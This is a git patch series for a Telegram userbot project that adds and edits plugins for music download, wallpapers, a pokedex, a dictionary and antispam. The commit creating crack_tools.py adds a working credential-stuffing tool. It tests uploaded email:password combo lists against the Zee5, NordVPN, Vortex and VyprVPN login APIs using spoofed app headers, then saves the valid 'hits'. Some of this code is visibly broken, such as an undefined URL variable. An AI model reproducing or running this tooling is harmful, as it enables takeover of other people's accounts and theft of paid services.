+@friday.on(sudo_cmd(pattern="ytmusic ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + urlissed = event.pattern_match.group(1) + myself_stark = await edit_or_reply( + event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`" + ) + search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1) + mi = search.result() + mio = mi["search_result"] + mo = mio[0]["link"] + thum = mio[0]["title"] + fridayz = mio[0]["id"] + thums = mio[0]["channel"] + kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" + await asyncio.sleep(0.6) + if not os.path.isdir("./music/"): + os.makedirs("./music/") + path = Config.TMP_DOWNLOAD_DIRECTORY + sedlyf = wget.download(kekme, out=path) + stark = ( + f'youtube-dl --force-ipv4 -q -o "./music/%(title)s.%(ext)s" --extract-audio --audio-format mp3 --audio-quality 128k ' + + mo + ) + os.system(stark) + await asyncio.sleep(4) + km = f"./music/{thum}.mp3" + if os.path.exists(km): + await myself_stark.edit("`Song Downloaded Sucessfully. Let Me Upload it Here.`") + else: + await myself_stark.edit("`SomeThing Went Wrong. Try Again After Sometime..`") + capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" + await borg.send_file( + event.chat_id, + km, + force_document=False, + allow_cache=False, + caption=capy, + thumb=sedlyf, + performer=thums, + supports_streaming=True, + ) + await myself_stark.edit("`Song Uploaded. By (C) VirtualUserbot`") + for files in (sedlyf, km): + if files and os.path.exists(files): + os.remove(files) + + +CMD_HELP.update( + { + "ytmusic": "**Ytmusic**\ +\n\n**Syntax : **`.ytmusic `\ +\n**Usage :** Downloads songs from ytmusic" + } +) From 1334a6cb170770360f785a6b0432a8935e7bd2ba Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 23:39:22 +0530 Subject: [PATCH 087/838] Update pornhubD.py --- fridaybot/modules/pornhubD.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pornhubD.py b/fridaybot/modules/pornhubD.py index 129c5d4b..a0645fc8 100644 --- a/fridaybot/modules/pornhubD.py +++ b/fridaybot/modules/pornhubD.py @@ -15,7 +15,7 @@ from telethon.tl.functions.messages import ImportChatInviteRequest from ..utils import admin_cmd -@borg.on(admin_cmd("pornhd ?(.*)")) +@borg.on(admin_cmd("phd2 ?(.*)")) async def _(event): if event.fwd_from: return From e6b8f62677ffce559ddb91ccffa4ec6c898c62d9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 23:53:23 +0530 Subject: [PATCH 088/838] Update antispam.py --- fridaybot/modules/antispam.py | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index 067556e4..340f191b 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -19,7 +19,7 @@ async def ok(event): user = sclient.is_banned(juser.id) if user: await event.reply( - f"**#ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" + f"**#FRIDAY ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" ) try: await borg.edit_permissions( @@ -29,3 +29,30 @@ async def ok(event): pass else: pass + + +@borg.on(ChatAction) +async def dnamg(event): + okbruh = await borg.get_me() + if event.user_added == okbruh.id: + event.chat_id + lolll = await event.get_added_by() + added_bys = lolll.id + lolchat = await event.get_chat() + if lolchat.username: + is_pvt = False + lmao_info = lolchat.username + else: + is_pvt = True + lmao_info = lolchat.id + try: + await event.reply( + "**Wait, How Dare You Add Me To This Group, Without My Permission, Never Mind You Are Gonna Get Reported Lol !**" + ) + except: + pass + await borg.kick_participant(event.chat_id, okbruh.id) + await borg.send_message( + Config.PRIVATE_GROUP_ID, + f"**WARNING - SPAM ADDING** \nUSER : `{added_bys}` \nCHAT : `{lmao_info}` \nGROUP PRIVATE : `{is_pvt}` \n**You May Report This At @SpamWatch Or @AntispamINC.**", + ) From c4290c3a00719f65888143bb7af7d076e28e33c9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 23:54:03 +0530 Subject: [PATCH 089/838] Update antispam.py --- fridaybot/modules/antispam.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index 340f191b..3a0c310c 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -19,7 +19,7 @@ async def ok(event): user = sclient.is_banned(juser.id) if user: await event.reply( - f"**#FRIDAY ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" + f"**#VirtualUserbot ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" ) try: await borg.edit_permissions( From 488e05d0e25131dce89625f705a1311f78d5d1d0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:00:10 +0530 Subject: [PATCH 090/838] Create vsong.py --- fridaybot/modules/vsong.py | 203 +++++++++++++++++++++++++++++++++++++ 1 file changed, 203 insertions(+) create mode 100644 fridaybot/modules/vsong.py diff --git a/fridaybot/modules/vsong.py b/fridaybot/modules/vsong.py new file mode 100644 index 00000000..97037ce8 --- /dev/null +++ b/fridaybot/modules/vsong.py @@ -0,0 +1,203 @@ +# Plugin made by @hellboi_atul and bug fixes By Shivam Patel(Team Cobra) +# Give credits... Dont remove or edit these lines +# uses ytdl +# DARK COBRA Userbots plugin +# reconfigured for Virtual userbot.. + +import os +import time +import math +import asyncio, json +from youtube_dl import YoutubeDL +from pySmartDL import SmartDL +from fridaybot.utils import progress +from youtube_dl.utils import (DownloadError, ContentTooShortError, + ExtractorError, GeoRestrictedError, + MaxDownloadsReached, PostProcessingError, + UnavailableVideoError, XAttrMetadataError) +from asyncio import sleep +from telethon.tl.types import DocumentAttributeAudio +from uniborg.util import admin_cmd + + +try: + from youtubesearchpython import SearchVideos +except: + os.system("pip install pip install youtube-search-python") + from youtubesearchpython import SearchVideos + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current == total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "{0}{1} {2}%\n".format( + ''.join(["▰" for i in range(math.floor(percentage / 10))]), + ''.join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2)) + tmp = progress_str + \ + "{0} of {1}\nETA: {2}".format( + humanbytes(current), + humanbytes(total), + time_formatter(estimated_total_time) + ) + if file_name: + await event.edit("{}\nFile Name: `{}`\n{}".format( + type_of_ps, file_name, tmp)) + else: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2**10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ((str(days) + " day(s), ") if days else "") + \ + ((str(hours) + " hour(s), ") if hours else "") + \ + ((str(minutes) + " minute(s), ") if minutes else "") + \ + ((str(seconds) + " second(s), ") if seconds else "") + \ + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + return tmp[:-2] + + + +@borg.on(admin_cmd(pattern="vsong (.*)")) +async def download_video(v_url): + pro = v_url ; sender = await pro.get_sender() ; me = await pro.client.get_me() + pro1 = v_url.text + if not sender.id == me.id: + dc = await pro.reply("`processing, please weit...`") + else: + dc = await pro.edit("`processing, please weit...😍`") + teamcobra = pro1[8:] + if not teamcobra: + return await dc.edit("`Error \nusage vsong `") + search = SearchVideos(teamcobra, offset = 1, mode = "json", max_results = 1) + test = search.result() + p = json.loads(test) + q = p.get('search_result') + try: + teamcobra = q[0]['link'] + except: + return await dc.edit("`failed to find your desired song`") + type = "audio" + await dc.edit("`Ok downloading your song🤓...`") + if type == "audio": + opts = { + 'format': + 'best', + 'addmetadata': + True, + 'key': + 'FFmpegMetadata', + 'prefer_ffmpeg': + True, + 'geo_bypass': + True, + 'nocheckcertificate': + True, + 'postprocessors': [{ + 'key': 'FFmpegVideoConvertor', + 'preferedformat': 'mp4' + }], + 'outtmpl': + '%(id)s.mp4', + 'logtostderr': + False, + 'quiet': + True + } + song = False + video = True + try: + await dc.edit("`Fetching data, please wait..😋😍😎`") + with YoutubeDL(opts) as darkcobra: + darkcobra_data = darkcobra.extract_info(teamcobra) + except DownloadError as error: + await dc.edit(f"`{str(error)}`") + return + except ContentTooShortError: + await dc.edit("`Oof the download content was too short😮🤐.`") + return + except GeoRestrictedError: + await dc.edit( + "`Video is not available from your geographic location due to geographic restrictions imposed by a website🤔.`" + ) + return + except MaxDownloadsReached: + await dc.edit("`Max-downloads limit has been reached😶.`") + return + except PostProcessingError: + await dc.edit("`There was an error during post processing😐.`") + return + except UnavailableVideoError: + await dc.edit("`sorry, media is not available in the requested format.`") + return + except XAttrMetadataError as XAME: + await dc.edit(f"`{XAME.code}: {XAME.msg}\n{XAME.reason}`") + return + except ExtractorError: + await dc.edit("`There was an error while fetching your query...`") + return + except Exception as e: + await dc.edit(f"{str(type(e)): {str(e)}}") + return + c_time = time.time() + if song: + await dc.edit(f"`Preparing to upload your video song😎 `\ + \n**{darkcobra_data['title']}**\ + \nby *{darkcobra_data['uploader']}*") + await v_url.client.send_file( + v_url.chat_id, + f"{darkcobra_data['id']}.mp3", + supports_streaming=True, + attributes=[ + DocumentAttributeAudio(duration=int(darkcobra_data['duration']), + title=str(darkcobra_data['title']), + performer=str(darkcobra_data['uploader'])) + ], + progress_callback=lambda d, t: asyncio.get_event_loop( + ).create_task( + progress(d, t, v_url, c_time, "Uploading your video song😍..", + f"{darkcobra_data['title']}.mp3"))) + os.remove(f"{darkcobra_data['id']}.mp3") + await v_url.delete() + elif video: + await dc.edit(f"`Preparing to upload your video song🤗❤ :`\ + \n**{darkcobra_data['title']}**\ + \nby *{darkcobra_data['uploader']}*") + await v_url.client.send_file( + v_url.chat_id, + f"{darkcobra_data['id']}.mp4", + supports_streaming=True, + caption=darkcobra_data['title'], + progress_callback=lambda d, t: asyncio.get_event_loop( + ).create_task( + progress(d, t, v_url, c_time, "Uploading..", + f"{darkcobra_data['title']}.mp4"))) + os.remove(f"{darkcobra_data['id']}.mp4") + await dc.delete() From a8ac537a4ba617b5bf48434bac6811a1f815fb8d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:05:54 +0530 Subject: [PATCH 091/838] Create wallpapers.py --- fridaybot/modules/wallpapers.py | 87 +++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 fridaybot/modules/wallpapers.py diff --git a/fridaybot/modules/wallpapers.py b/fridaybot/modules/wallpapers.py new file mode 100644 index 00000000..254ac8db --- /dev/null +++ b/fridaybot/modules/wallpapers.py @@ -0,0 +1,87 @@ +import os +import shutil +from re import findall + +from fridaybot import CMD_HELP +from fridaybot.googol_images import googleimagesdownload +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + + +@friday.on(friday_on_cmd(pattern="wpaper ?(.*)")) +@friday.on(sudo_cmd(pattern="img ?(.*)", allow_sudo=True)) +async def img_sampler(event): + await edit_or_reply(event, "`Processing...`") + reply = await event.get_reply_message() + if event.pattern_match.group(1): + queryo = event.pattern_match.group(1) + elif reply: + queryo = reply.message + else: + await edit_or_reply( + event, "`um, mind mentioning what I actually need to search for ;_;`" + ) + return + query = queryo + "hd wallpaper" + lim = findall(r"lim=\d+", query) + # lim = event.pattern_match.group(1) + try: + lim = lim[0] + lim = lim.replace("lim=", "") + query = query.replace("lim=" + lim[0], "") + except IndexError: + lim = 5 + response = googleimagesdownload() + + # creating list of arguments + arguments = { + "keywords": query, + "limit": lim, + "format": "jpg", + "no_directory": "no_directory", + } + + # passing the arguments to the function + paths = response.download(arguments) + lst = paths[0][query] + await event.client.send_file( + await event.client.get_input_entity(event.chat_id), lst + ) + shutil.rmtree(os.path.dirname(os.path.abspath(lst[0]))) + await event.delete() + + query = queryo + "ultra hd wallpaper" + lim = findall(r"lim=\d+", query) + # lim = event.pattern_match.group(1) + try: + lim = lim[0] + lim = lim.replace("lim=", "") + query = query.replace("lim=" + lim[0], "") + except IndexError: + lim = 3 + response = googleimagesdownload() + + # creating list of arguments + arguments = { + "keywords": query, + "limit": lim, + "format": "jpg", + "no_directory": "no_directory", + } + + # passing the arguments to the function + paths = response.download(arguments) + lst = paths[0][query] + await event.client.send_file( + await event.client.get_input_entity(event.chat_id), lst + ) + shutil.rmtree(os.path.dirname(os.path.abspath(lst[0]))) + await event.delete() + + +CMD_HELP.update( + { + "wallpaper": "**Wallpaper**\ +\n\n**Syntax : **`.wpaper `\ +\n**Usage :** get wallpapers just with a query." + } +) From 9e3c7402d234b70c3a8e5fc45af1e3d78d5d142f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:09:12 +0530 Subject: [PATCH 092/838] Create pokedex.py --- fridaybot/modules/pokedex.py | 147 +++++++++++++++++++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 fridaybot/modules/pokedex.py diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py new file mode 100644 index 00000000..d5270c53 --- /dev/null +++ b/fridaybot/modules/pokedex.py @@ -0,0 +1,147 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import html +from uniborg.util import friday_on_cmd + + + +from telethon.tl.functions.photos import GetUserPhotosRequest +from telethon.tl.functions.users import GetFullUserRequest +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location + +from fridaybot import CMD_HELP, sclient +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd + +try: + from pokedex import pokedex +except: + os.system("pip install pip install pokedex") + from pokedex import pokedex + +@friday.on(admin_cmd(pattern="pokedex (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + pokedx = pokedex.Pokedex() + pokemen = pokedx.get_pokemon_by_name(input_str) + pokemon=pokemen[0] + name = str(pokemon.get("name")) + number = str(pokemon.get("number")) + species = str(pokemon.get("species")) + typo = pokemon.get("types") + types = "" + for tu in typo: + types+=str(tu)+", " + + lol = pokemon.get("abilities") + lmao = lol.get("normal") + ok ="" + for ty in lmao: + ok = str(ty)+", " + + kk = lol.get("hidden") + hm = "" + for pq in kk: + hm += str(pq)+", " + hell = pokemon.get("eggGroups") + uio="" + for x in hell: + uio += str(x)+", " + + height = pokemon.get("height") + weight = pokemon.get("weight") + yes = pokemon.get("family") + Id = str(yes.get("id")) + evo = str(yes.get("evolutionStage")) + pol = yes.get("evolutionLine") + xy = "" + for p in pol: + xy+= str(p)+", " + + start = pokemon.get("starter") + if start==False: + start="No" + elif start==True: + start="True" + else: + pass + + leg = pokemon.get("legendary") + + if leg==False: + leg="No" + elif leg==True: + leg="True" + else: + pass + + myt = pokemon.get("mythical") + if myt==False: + myt="No" + elif myt==True: + myt="True" + else: + pass + ultra = pokemon.get("ultraBeast") + + if ultra==False: + ultra="No" + elif ultra==True: + ultra="True" + else: + pass + + megA = pokemon.get("mega") + + if megA==False: + megA="No" + elif megA==True: + megA="True" + else: + pass + + gEn = pokemon.get("gen") + link = pokemon.get("sprite") + des = pokemon.get("description") + + #hope = await borg(event.chat_id, link) + caption = f"Pokemon Information Gathered Successfully\n\n\nName:- {name}\nNumber:- {number}\nSpecies:- {species}\nType:- {types}\n\nAbilities\nNormal Abilities:- {ok}\nHidden Abilities:- {hm}\nEgg Group:- {uio}\nHeight:- {height}\nWeight:- {weight}\n\nFamily\nID:- {Id}\nEvolution Stage:- {evo}\nEvolution Line:- {xy}\nStarter:- {start}\nLegendary:- {leg}\nMythical:- {myt}\nUltra Beast:- {ultra}\nMega:- {megA}\nGen:- {gEn}\nImage Link:- {link}\nDescription:- {des}" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + + + + + + + + +CMD_HELP.update( + { + "pokedex": "**Pokedex**\ +\n\n**Syntax : **`.pokedex `\ +\n**Usage :** Gives Information About Given Pokemon.\ +\n\n**Example : **`.pokedex pikachu`\ +\nThis above syntax gives Information about Pikachu" + } +) From ef1bdc672cb2f5d468232ebf942d9f99d23669a3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:11:14 +0530 Subject: [PATCH 093/838] Update sangmata.py --- fridaybot/modules/sangmata.py | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/sangmata.py b/fridaybot/modules/sangmata.py index 50ee1b53..f861a652 100644 --- a/fridaybot/modules/sangmata.py +++ b/fridaybot/modules/sangmata.py @@ -27,11 +27,10 @@ async def _(event): response = conv.wait_event( events.NewMessage(incoming=True, from_users=461843263) ) - # await borg.forward_messages(chat, reply_message) - await silently_send_message(chat, "/generate") + await borg.forward_messages(chat, reply_message) response = await response except YouBlockedUserError: - await event.reply("```Please unblock @sangmatainfo_bot and try again```") + await event.reply("```Please unblock @SangMataInfo_bot and try again```") return if response.text.startswith("Forward"): await event.edit( @@ -54,16 +53,14 @@ async def _(event): return chat = "@fakemailbot" reply_message.sender - if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") - return await event.edit("```Processing```") + link = f"/generate" async with borg.conversation(chat) as conv: try: response = conv.wait_event( events.NewMessage(incoming=True, from_users=177914997) ) - await borg.forward_messages(chat, reply_message) + await conv.send_message(link) response = await response except YouBlockedUserError: await event.reply("```Please unblock @fakemailbot and try again```") From 2f474bceb7b41d162d905876ae1e7637a3e566b7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:15:19 +0530 Subject: [PATCH 094/838] Create crack_tools.py --- fridaybot/modules/crack_tools.py | 225 +++++++++++++++++++++++++++++++ 1 file changed, 225 insertions(+) create mode 100644 fridaybot/modules/crack_tools.py diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py new file mode 100644 index 00000000..23b4148e --- /dev/null +++ b/fridaybot/modules/crack_tools.py @@ -0,0 +1,225 @@ +import json +import os +import requests + +from fridaybot.utils import friday_on_cmd +data = { + "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", + "Content-Length": "55", + "Accept-Encoding":"gzip" +} + +data2 = { + "accept-encoding": "gzip", + "user-agent": "RemotrAndroid/1.5.0" +} +@friday.on(friday_on_cmd(pattern="cz5$")) +async def zee5(event): + await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + file = open(starky, "r") + lines = file.readlines() + for line in lines: + stark_dict.append(line) + os.remove(starky) + if len(stark_dict) > 50: + await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + try: + meke = requests.get(f'https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}').json() + except: + meke = None + if meke.get("token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + ' | @FridayOT') + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove("hits.txt") + +@friday.on(friday_on_cmd(pattern="cnd$")) +async def vypr(event): + await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + file = open(starky, "r") + lines = file.readlines() + for line in lines: + stark_dict.append(line) + os.remove(starky) + if len(stark_dict) > 50: + await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + sedlyf = { + "username" : email, + "password" : password + } + try: + meke = requests.post(url='https://zwyr157wwiu6eior.com/v1/users/tokens', headers=data, json=sedlyf).json() + except Exception as s: + meke = None + pass + if meke.get("token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + ' | @FridayOT') + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove("hits.txt") + +@friday.on(friday_on_cmd(pattern="cvx$")) +async def vortex(event): + await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + file = open(starky, "r") + lines = file.readlines() + for line in lines: + stark_dict.append(line) + os.remove(starky) + if len(stark_dict) > 50: + await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + sedlyf = { + "email": email, + "pass": password + } + try: + meke = requests.post(url='https://vortex-api.gg/login', headers=data2, json=sedlyf).json() + except Exception as s: + meke = None + pass + if meke.get("token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + ' | @FridayOT') + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove("hits.txt") + +@friday.on(friday_on_cmd(pattern="cvr$")) +async def vortex(event): + await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + file = open(starky, "r") + lines = file.readlines() + for line in lines: + stark_dict.append(line) + os.remove(starky) + if len(stark_dict) > 50: + await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + data = { + "username" : email, + "password" : password, + "User-Agent":"Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-N950N Build/NMF26X)", + "Connection": "close", + "locale":"en", + "X-GF-PLATFORM":"android", + "X-GF-PRODUCT":"vyprvpn", + "X-GF-Agent":"VyprVPN Android v2.6.4.3156. (1b33ca24)", + "Content-Type" : "application/x-www-form-urlencoded" + } + try: + meke = requests.get(url=noob, headers=data).text + except Exception as s: + meke = None + if "invalid username or password" in meke: + bads += 1 + else: + hits += 1 + plan = find_between(meke, 'account_level_display": "', '"') + hits_dict.append(f"{email}:{password} | Plan = {plan}") + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + ' | @FridayOT') + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**!VYPR HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove("hits.txt") + + +def find_between( s, first, last ): + try: + start = s.index( first ) + len( first ) + end = s.index( last, start ) + return s[start:end] + except ValueError: + return "" + +CMD_HELP.update( + { + "cracking_tools": "**Cracking Tools**\ +\n\n**Syntax : **`.cz5 `\ +\n**Usage :** Checks for Zee5 accounts from combo.\ +\n\n**Syntax : **`.cnd `\ +\n**Usage :** Checks for VYPR accounts from combo.\ +\n\n**Syntax : **`.cvx `\ +\n**Usage :** Checks for Vortex accounts from combo.\ +\n\n**Syntax : **`.cz5 `\ +\n**Usage :** Checks for Zee5 accounts from combo.\ +\n\n**Syntax : **`.proxy `\ +\n**Usage :** Checks for alive proxies." + } +) From 405cd5118b936ec381fa2534fa36d5fc26de8e59 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:19:26 +0530 Subject: [PATCH 095/838] Update dictionary.py --- fridaybot/modules/dictionary.py | 49 +++++++++++++++++++++++---------- 1 file changed, 35 insertions(+), 14 deletions(-) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index 717a88d7..b3c5be8c 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -1,26 +1,47 @@ """Syntax: .meaning """ -import requests -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from PyDictionary import PyDictionary - from fridaybot import CMD_HELP +import requests +from telethon import events +from uniborg.util import admin_cmd -@friday.on(friday_on_cmd("meaning (.*)")) -@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) +@borg.on(admin_cmd("meaning (.*)")) async def _(event): - stark = await edit_or_reply(event, "Finding Meaning.....") if event.fwd_from: return input_str = event.pattern_match.group(1) - dictionary=PyDictionary() - a = (dictionary.meaning(input_str)) - b = a.get("Noun") - chsaiujwal = "" - for x in b: - chsaiujwal += x+"\n" - await stark.edit(f" meaning of {input_str} is:-\n {chsaiujwal}", parse_mode="HTML",) + input_url = "https://bots.shrimadhavuk.me/dictionary/?s={}".format(input_str) + headers = {"USER-AGENT": "UniBorg"} + caption_str = f"Meaning of __{input_str}__\n" + try: + response = requests.get(input_url, headers=headers).json() + pronounciation = response.get("p") + meaning_dict = response.get("lwo") + for current_meaning in meaning_dict: + current_meaning_type = current_meaning.get("type") + current_meaning_definition = current_meaning.get("definition") + caption_str += f"**{current_meaning_type}**: {current_meaning_definition}\n\n" + except Exception as e: + caption_str = str(e) + reply_msg_id = event.message.id + if event.reply_to_msg_id: + reply_msg_id = event.reply_to_msg_id + try: + await borg.send_file( + event.chat_id, + pronounciation, + caption=f"Pronounciation of __{input_str}__", + force_document=False, + reply_to=reply_msg_id, + allow_cache=True, + voice_note=True, + silent=True, + supports_streaming=True + ) + except: + pass + await event.edit(caption_str) CMD_HELP.update( From b8cc3e0bf887bfd2bfd036cd759149c1a6d2234a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:22:34 +0530 Subject: [PATCH 096/838] Update crack_tools.py --- fridaybot/modules/crack_tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py index 23b4148e..6f409136 100644 --- a/fridaybot/modules/crack_tools.py +++ b/fridaybot/modules/crack_tools.py @@ -1,7 +1,7 @@ import json import os import requests - +from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd data = { "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", From d8424e508c82e99dfd186a42820454b5b647640c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:24:29 +0530 Subject: [PATCH 097/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index bca9996f..f764ade2 100644 --- a/README.md +++ b/README.md @@ -43,7 +43,7 @@ [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) - +``` Alwaystry to Deploy this source. If not you will miss the future updates``` From 2e5644cabadda15a10b6cf9bba9614beac020d48 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:24:48 +0530 Subject: [PATCH 098/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f764ade2..bdc6cba8 100644 --- 